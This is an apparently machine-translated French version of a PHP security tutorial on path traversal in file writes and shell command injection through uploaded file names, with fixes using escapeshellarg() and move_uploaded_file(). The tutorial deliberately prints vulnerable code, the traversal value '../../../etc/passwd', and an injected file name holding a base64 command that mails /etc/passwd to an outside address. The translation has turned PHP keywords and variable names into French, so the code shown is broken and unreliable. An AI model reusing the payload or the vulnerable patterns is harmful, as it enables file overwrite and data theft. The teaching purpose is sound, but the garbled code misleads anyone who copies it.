L'importance de prêter attention aux problèmes de sécurité Voir plus que tout
Le moyen le plus efficace, mais souvent négligé, d'empêcher les utilisateurs d'endommager vos programmes de manière malveillante est d'envisager cette possibilité lorsque vous écrivez votre code. Il est important d'être conscient des éventuels problèmes de sécurité dans votre code. Considérons l'exemple de fonction suivant conçu pour simplifier le processus d'écriture de gros fichiers texte en PHP :
<?php
function write_text($filename, $text="") {
statique $open_files = tableau();
// Si le nom du fichier est vide, fermez tous les fichiers
si ($nom de fichier == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
renvoie vrai ;
}
$index = md5($nom de fichier);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) renvoie false ;
}
fputs($open_files[$index], $text);
renvoie vrai ;
}
?>
Cette fonction prend deux paramètres par défaut, le nom du fichier et le texte à écrire dans le fichier.
La fonction vérifiera d’abord si le fichier est déjà ouvert ; si c’est le cas, le descripteur de fichier d’origine sera utilisé. Sinon, il sera créé tout seul. Dans les deux cas, le texte est écrit dans le fichier.
Si le nom de fichier transmis à la fonction est NULL, tous les fichiers ouverts seront fermés. Un exemple d'utilisation est fourni ci-dessous.
Cette fonction sera beaucoup plus claire et lisible si le développeur écrit plusieurs fichiers texte au format suivant.
Supposons que cette fonction existe dans un fichier séparé contenant le code qui appelle cette fonction.
Vous trouverez ci-dessous un tel programme, appelons-le quotes.php :
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Choisissez la nature du devis :
<select name="quote" size="3">
<option value="funny">Citations humoristiques</option>
<option value="politique">Citations politiques</option>
<option value="love">Citations romantiques</option>
</select><br />
La citation : <input type="text" name="quote_text" size="30" />
<input type="submit" value="Enregistrer le devis" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>Citation enregistrée !</h2></center>";
} autre {
echo "<center><hr><h2>Erreur d'écriture de la citation</h2></center>";
}
write_text(NULL);
?>
Comme vous pouvez le voir, le développeur a utilisé la fonction write_text() pour créer un système dans lequel les utilisateurs peuvent soumettre leurs citations préférées, qui seront stockées dans un fichier texte.
Malheureusement, les développeurs n'ont peut-être pas pensé que ce programme permettait également à des utilisateurs malveillants de compromettre la sécurité du serveur Web.
Peut-être qu'en ce moment vous vous demandez comment ce programme apparemment innocent pourrait introduire un risque pour la sécurité.
Si vous ne pouvez pas le savoir, considérez l'URL suivante et rappelez-vous que ce programme s'appelle quotes.php :
http://www.somewhere.com/fun/quotes.php?quote=différent_file.dat"e_text=garbage+data
Lorsque cela L'URL est transmise à Que se passera-t-il lors de l'utilisation du serveur Web ?
Évidemment, quotes.php sera exécuté, mais au lieu d'écrire une citation dans l'un des trois fichiers souhaités, un nouveau fichier appelé different_file.dat sera créé contenant la chaîne de données inutiles.
Évidemment, ce n'est pas un comportement souhaité. Un utilisateur malveillant pourrait accéder au fichier de mots de passe UNIX et créer un compte en spécifiant la citation sous la forme ../../../etc/passwd (bien que cela nécessite que le serveur Web exécute le programme en tant que superutilisateur). . Si c'est le cas, vous devriez arrêter de lire et réparer le problème maintenant).
Si /home/web/quotes/ est accessible via un navigateur, le problème de sécurité le plus grave de ce programme est peut-être qu'il permet à n'importe quel utilisateur d'écrire et d'exécuter des programmes PHP arbitraires. Cela causera des problèmes sans fin.
Voici quelques solutions. Si vous n'avez besoin d'écrire que quelques fichiers dans un répertoire, envisagez d'utiliser un tableau associé pour stocker les noms de fichiers. Si le fichier saisi par l'utilisateur existe dans ce tableau, il peut être écrit en toute sécurité. Une autre idée consiste à supprimer tous les caractères qui ne sont pas des lettres ou des chiffres pour garantir qu'il n'y a pas de séparateurs de répertoire. Une autre façon consiste à vérifier l'extension du fichier pour vous assurer que le fichier ne sera pas exécuté par le serveur Web.
Le principe est simple, en tant que développeur, vous devez réfléchir davantage à ce que fait votre programme lorsque vous souhaitez qu'il s'exécute.
Que se passe-t-il si des données illégales entrent dans un élément de formulaire ? Un utilisateur malveillant pourrait-il provoquer un comportement involontaire de votre programme ? Que peut-on faire pour arrêter ces attaques ? Votre serveur Web et votre programme PHP ne sont sécurisés que par le lien de sécurité le plus faible. Il est donc important de confirmer que ces liens potentiellement dangereux sont sécurisés.
Erreurs courantes liées à la sécurité Voici quelques points saillants, une liste brève et incomplète des erreurs de codage et d'administration qui peuvent compromettre la sécurité
. Faire confiance aux données C'est un thème qui revient tout au long de ma discussion sur la sécurité des programmes PHP. Vous ne devez jamais faire confiance aux données provenant de l'extérieur. Qu'elles proviennent d'un formulaire soumis par l'utilisateur, d'un fichier sur le système de fichiers ou d'une variable d'environnement, aucune donnée ne peut être simplement considérée comme acquise. Les entrées des utilisateurs doivent donc être validées et formatées pour garantir la sécurité.
Erreur 2. Stockage des données sensibles dans des répertoires Web Toutes les données sensibles doivent être stockées dans des fichiers distincts des programmes qui doivent utiliser les données et dans un répertoire qui n'est pas accessible via le navigateur. Lorsque des données sensibles doivent être utilisées, incluez-les dans le programme PHP approprié via des instructions include ou require.
Erreur 3. Non-respect des précautions de sécurité recommandées
Le manuel PHP contient un chapitre complet sur les précautions de sécurité lors de l'utilisation et de l'écriture de programmes PHP. Le manuel explique également (presque) clairement, sur la base d'études de cas, quand il existe des risques potentiels pour la sécurité et comment les minimiser. Dans un autre exemple, des utilisateurs malveillants s'appuient sur les erreurs des développeurs et des administrateurs pour obtenir les informations de sécurité qui leur tiennent à cœur afin d'obtenir les autorisations système. Tenez compte de ces avertissements et prenez les mesures appropriées pour réduire la possibilité qu'un utilisateur malveillant cause de réels dommages à votre système.
Exécution d'appels système en PHP Il existe de nombreuses façons d'effectuer des appels système en PHP.
Par exemple, system(), exec(), passthru(), popen() et l'opérateur backquote (`) vous permettent tous d'effectuer des appels système dans votre programme. Une mauvaise utilisation de ces fonctions ouvrira la porte à des utilisateurs malveillants pour exécuter des commandes système sur votre serveur. Comme lors de l’accès aux fichiers, dans la grande majorité des cas, des failles de sécurité se produisent en raison d’entrées externes peu fiables conduisant à l’exécution de commandes système.
Un exemple de programme utilisant des appels système Considérons un programme qui gère les téléchargements de fichiers http. Il utilise le programme zip pour compresser le fichier, puis le déplace vers un répertoire spécifié (la valeur par défaut est /usr/local/archives/). Le code est le suivant :
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['fichier'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['fichier']['nom']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
renommer($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" méthode="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
Fichier à compresser : <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
Bien que ce programme semble assez simple et facile à comprendre, il existe plusieurs façons pour un utilisateur malveillant de l'exploiter. Le problème de sécurité le plus sérieux existe lorsque l'on exécute la commande de compression (via l'opérateur `), ce qui se voit clairement dans la ligne suivante :
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$appel système` ;
...
Inciter le programme à exécuter des commandes shell arbitraires Bien que ce code semble assez sûr, il a le potentiel de permettre à tout utilisateur disposant des autorisations de téléchargement de fichiers d'exécuter des commandes shell arbitraires !
Pour être précis, cette faille de sécurité provient de l'affectation de la variable $cmp_name. Ici, nous voulons que le fichier compressé ait le même nom de fichier que lors de son téléchargement depuis le client (avec une extension .zip). Nous avons utilisé $_FILES['file']['name'] (qui contient le nom du fichier téléchargé sur le client).
Dans une telle situation, les utilisateurs malveillants peuvent atteindre leurs objectifs en téléchargeant un fichier contenant des caractères ayant une signification particulière pour le système d'exploitation sous-jacent. Par exemple, que se passe-t-il si l'utilisateur crée un fichier vide comme indiqué ci-dessous ? (à partir de l'invite du shell UNIX)
[utilisateur@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
système($code);';"
Cette commande créera un fichier avec le nom suivant :
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
système($code);';
Ça a l'air bizarre ? Jetons un coup d'oeil à ce "nom de fichier" et nous voyons qu'il ressemble beaucoup à la commande qui fait que la version CLI de PHP exécute le code suivant :
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
système($code);
?>
Si vous affichez le contenu de la variable $code par curiosité, vous constaterez qu'elle contient [email protected] < /etc/passwd. Si l'utilisateur transmet ce fichier à un programme et que PHP effectue ensuite un appel système pour compresser le fichier, PHP exécutera en fait l'instruction suivante :
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
système($code);';.zip /tmp/phpY4iatI
Étonnamment, la commande ci-dessus n’est pas une instruction mais 3 ! Puisque le shell UNIX interprète un point-virgule (;) comme la fin d'une commande shell et le début d'une autre commande, sauf lorsque le point-virgule est entre guillemets, la fonction system() de PHP s'exécutera en fait comme suit :
[user@localhost]# / usr /bin/zip /tmp/
[utilisateur@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
système($code);'
[utilisateur@localhost]# .zip /tmp/phpY4iatI
Comme vous pouvez le constater, ce programme PHP apparemment inoffensif s'est soudainement transformé en une porte dérobée capable d'exécuter des commandes shell arbitraires et d'autres programmes PHP. Bien que cet exemple ne fonctionne que sur les systèmes dotés de la version CLI de PHP dans le chemin, il existe d'autres moyens d'obtenir le même effet en utilisant cette technique.
La clé ici
pour lutter contre les attaques par appels système
reste qu’il ne faut pas se fier aux entrées de l’utilisateur, quel que soit leur contenu !La question reste de savoir comment éviter des situations similaires lors de l'utilisation d'appels système (à part ne pas les utiliser du tout). Pour lutter contre ce type d'attaque, PHP propose deux fonctions, escapeshellarg() et escapeshellcmd().
La fonction escapeshellarg() est conçue pour supprimer les caractères potentiellement dangereux des entrées utilisateur utilisés comme arguments dans les commandes système (dans notre cas, la commande zip). La syntaxe de cette fonction est la suivante :
escapeshellarg($string)
$string est l'entrée utilisée pour le filtrage et la valeur de retour correspond aux caractères filtrés. Une fois exécutée, cette fonction ajoutera des guillemets simples autour des caractères et échappera (précédera) les guillemets simples dans la chaîne d'origine. Dans notre routine, si nous ajoutons ces lignes avant d'exécuter la commande système :
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
Nous pouvons éviter de tels risques de sécurité en garantissant que le paramètre transmis à l'appel système a été traité et qu'il s'agit d'une entrée utilisateur sans autre intention.
escapeshellcmd() est similaire à escapeshellarg(), sauf qu'il échappe uniquement les caractères qui ont une signification particulière pour le système d'exploitation sous-jacent. Contrairement à escapeshellarg(), escapeshellcmd() ne gère pas les espaces blancs dans le contenu. Par exemple, lors d'une évasion à l'aide de escapeshellcmd(), les caractères
$string = "'Bonjour tout le monde !';evilcommand"
Deviendra :
« bonjour tout le monde » ; evilcommand
Si cette chaîne est utilisée comme argument dans un appel système, elle ne donnera toujours pas de résultats corrects car le shell l'interprétera comme deux arguments distincts : 'hello and world';evilcommand. Si l'utilisateur saisit une partie de la liste d'arguments pour un appel système, escapeshellarg() est un meilleur choix.
Protection des fichiers téléchargés Tout au long de cet article, je me suis concentré uniquement sur la façon dont les appels système peuvent être détournés par des utilisateurs malveillants pour produire des résultats indésirables.
Cependant, il existe un autre risque de sécurité potentiel qui mérite d’être mentionné ici. En regardant à nouveau notre routine, concentrez votre attention sur la ligne suivante :
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
Un risque de sécurité potentiel causé par les lignes de code dans l'extrait ci-dessus est que dans la dernière ligne, nous déterminons si le fichier téléchargé existe réellement (il existe avec le nom de fichier temporaire $tmp_name).
Ce risque de sécurité ne vient pas de PHP lui-même, mais du fait que le nom de fichier stocké dans $tmp_name n'est pas du tout un fichier, mais pointe vers le fichier auquel l'utilisateur malveillant souhaite accéder, tel que /etc/passwd.
Pour éviter que cela ne se produise, PHP fournit la fonction is_uploaded_file(), qui est la même que file_exists(), mais elle permet également de vérifier si le fichier est réellement téléchargé depuis le client.
Dans la plupart des cas, vous devrez déplacer le fichier téléchargé. PHP fournit la fonction move_uploaded_file() pour fonctionner avec is_uploaded_file(). Cette fonction est utilisée pour déplacer des fichiers comme rename(), sauf qu'elle vérifiera automatiquement que le fichier déplacé est le fichier téléchargé avant l'exécution. La syntaxe de move_uploaded_file() est la suivante :
move_uploaded_file($filename, $destination);
Une fois exécutée, la fonction déplacera le fichier téléchargé $filename vers la destination $destination et renverra une valeur booléenne pour indiquer si l'opération a réussi.
Remarque : John Coggeshall est un consultant et auteur PHP. Cela fait environ 5 ans qu'il a commencé à dormir autour de PHP.
Texte original en anglais : http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html